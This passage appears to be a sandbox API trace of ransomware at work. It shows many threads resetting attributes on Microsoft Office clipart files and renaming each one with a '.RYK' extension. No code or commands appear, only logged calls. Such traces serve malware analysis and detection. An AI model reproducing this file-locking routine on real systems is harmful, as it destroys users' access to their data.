	[0241.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2182
	os_tid = 0x27c8

	[0241.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF", dwFileAttributes=0x80) returned 0
	[0241.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.448] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2183
	os_tid = 0x27cc

	[0241.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF", dwFileAttributes=0x80) returned 0
	[0241.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.446] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2184
	os_tid = 0x27d0

	[0241.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF", dwFileAttributes=0x80) returned 0
	[0241.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.445] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2185
	os_tid = 0x27d4

	[0241.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF", dwFileAttributes=0x80) returned 0
	[0241.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.443] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2186
	os_tid = 0x27d8

	[0241.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG", dwFileAttributes=0x80) returned 0
	[0241.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.442] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.442] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2187
	os_tid = 0x27dc

	[0241.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG", dwFileAttributes=0x80) returned 0
	[0241.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.642] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.642] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2188
	os_tid = 0x27e0

	[0241.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF", dwFileAttributes=0x80) returned 0
	[0241.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.644] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2189
	os_tid = 0x27e4

	[0241.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF", dwFileAttributes=0x80) returned 0
	[0241.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.355] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2190
	os_tid = 0x27e8

	[0241.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF", dwFileAttributes=0x80) returned 0
	[0241.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.726] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2191
	os_tid = 0x27ec

	[0241.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF", dwFileAttributes=0x80) returned 0
	[0241.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.725] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.725] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2192
	os_tid = 0x27f0

	[0241.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF", dwFileAttributes=0x80) returned 0
	[0241.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.723] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2193
	os_tid = 0x27f4

	[0241.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF", dwFileAttributes=0x80) returned 0
	[0241.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.722] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.722] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2194
	os_tid = 0x27f8

	[0241.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF", dwFileAttributes=0x80) returned 0
	[0241.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.720] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2195
	os_tid = 0x27fc

	[0241.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF", dwFileAttributes=0x80) returned 0
	[0241.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.719] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2196
	os_tid = 0xa7c

	[0241.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG", dwFileAttributes=0x80) returned 0
	[0241.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.375] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.375] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2197
	os_tid = 0x7cc

	[0241.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG", dwFileAttributes=0x80) returned 0
	[0241.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.718] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2198
	os_tid = 0x408

	[0241.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF", dwFileAttributes=0x80) returned 0
	[0241.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.716] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2199
	os_tid = 0x778

	[0241.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF", dwFileAttributes=0x80) returned 0
	[0241.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.379] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.379] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2200
	os_tid = 0x36c

	[0241.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF", dwFileAttributes=0x80) returned 0
	[0241.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.714] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2201
	os_tid = 0x42c

	[0241.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF", dwFileAttributes=0x80) returned 0
	[0241.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.713] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2202
	os_tid = 0x1004

	[0241.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF", dwFileAttributes=0x80) returned 0
	[0241.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.712] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.712] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2203
	os_tid = 0x2720

	[0241.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF", dwFileAttributes=0x80) returned 0
	[0241.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.710] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2204
	os_tid = 0x2804

	[0241.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF", dwFileAttributes=0x80) returned 0
	[0241.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.709] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2205
	os_tid = 0x2808

	[0241.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF", dwFileAttributes=0x80) returned 0
	[0241.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.707] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.707] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2206
	os_tid = 0x280c

	[0241.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF", dwFileAttributes=0x80) returned 0
	[0241.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.653] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2207
	os_tid = 0x2810

	[0241.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF", dwFileAttributes=0x80) returned 0
	[0241.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.652] CloseHandle (hObject=0xffffffffffffffff) returned 0
